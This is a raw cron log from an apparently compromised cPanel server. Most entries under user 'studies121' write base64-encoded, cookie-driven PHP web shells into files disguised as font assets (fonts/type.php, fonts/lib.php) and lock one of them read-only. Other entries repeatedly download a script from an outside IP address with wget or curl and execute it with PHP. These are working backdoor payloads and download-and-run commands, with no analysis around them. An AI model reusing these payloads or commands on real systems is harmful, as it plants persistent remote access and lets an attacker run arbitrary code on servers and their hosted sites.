Sep 11 16:49:01 ip-184-168-122-23 CROND[4550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:49:01 ip-184-168-122-23 CROND[4549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:49:01 ip-184-168-122-23 CROND[4551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4671]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4673]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:50:01 ip-184-168-122-23 CROND[4678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:50:01 ip-184-168-122-23 CROND[4680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:50:01 ip-184-168-122-23 CROND[4689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:51:01 ip-184-168-122-23 CROND[4886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:51:01 ip-184-168-122-23 CROND[4888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:51:01 ip-184-168-122-23 CROND[4890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:51:01 ip-184-168-122-23 CROND[4889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:52:01 ip-184-168-122-23 CROND[4986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:52:01 ip-184-168-122-23 CROND[4987]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:52:01 ip-184-168-122-23 CROND[4990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:52:01 ip-184-168-122-23 CROND[4993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:52:01 ip-184-168-122-23 CROND[4994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:53:01 ip-184-168-122-23 CROND[5086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:53:01 ip-184-168-122-23 CROND[5085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:53:01 ip-184-168-122-23 CROND[5087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:53:01 ip-184-168-122-23 CROND[5088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:54:01 ip-184-168-122-23 CROND[5169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:54:01 ip-184-168-122-23 CROND[5170]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:54:01 ip-184-168-122-23 CROND[5168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:54:01 ip-184-168-122-23 CROND[5172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:54:01 ip-184-168-122-23 CROND[5171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:55:01 ip-184-168-122-23 CROND[5290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:55:01 ip-184-168-122-23 CROND[5296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:55:01 ip-184-168-122-23 CROND[5292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:55:01 ip-184-168-122-23 CROND[5294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:55:01 ip-184-168-122-23 CROND[5295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:55:01 ip-184-168-122-23 CROND[5293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:56:01 ip-184-168-122-23 CROND[5476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:56:01 ip-184-168-122-23 CROND[5478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:56:01 ip-184-168-122-23 CROND[5480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:56:01 ip-184-168-122-23 CROND[5479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:56:01 ip-184-168-122-23 CROND[5482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:57:01 ip-184-168-122-23 CROND[5570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:57:01 ip-184-168-122-23 CROND[5571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:57:01 ip-184-168-122-23 CROND[5573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:57:01 ip-184-168-122-23 CROND[5572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:58:01 ip-184-168-122-23 CROND[5655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:58:01 ip-184-168-122-23 CROND[5657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:58:01 ip-184-168-122-23 CROND[5658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:58:01 ip-184-168-122-23 CROND[5661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:58:01 ip-184-168-122-23 CROND[5659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 16:59:01 ip-184-168-122-23 CROND[5751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 16:59:01 ip-184-168-122-23 CROND[5753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 16:59:01 ip-184-168-122-23 CROND[5755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:59:01 ip-184-168-122-23 CROND[5754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5863]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5868]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:00:01 ip-184-168-122-23 CROND[5875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:00:01 ip-184-168-122-23 CROND[5874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:00:01 ip-184-168-122-23 CROND[5876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:01:01 ip-184-168-122-23 CROND[6076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
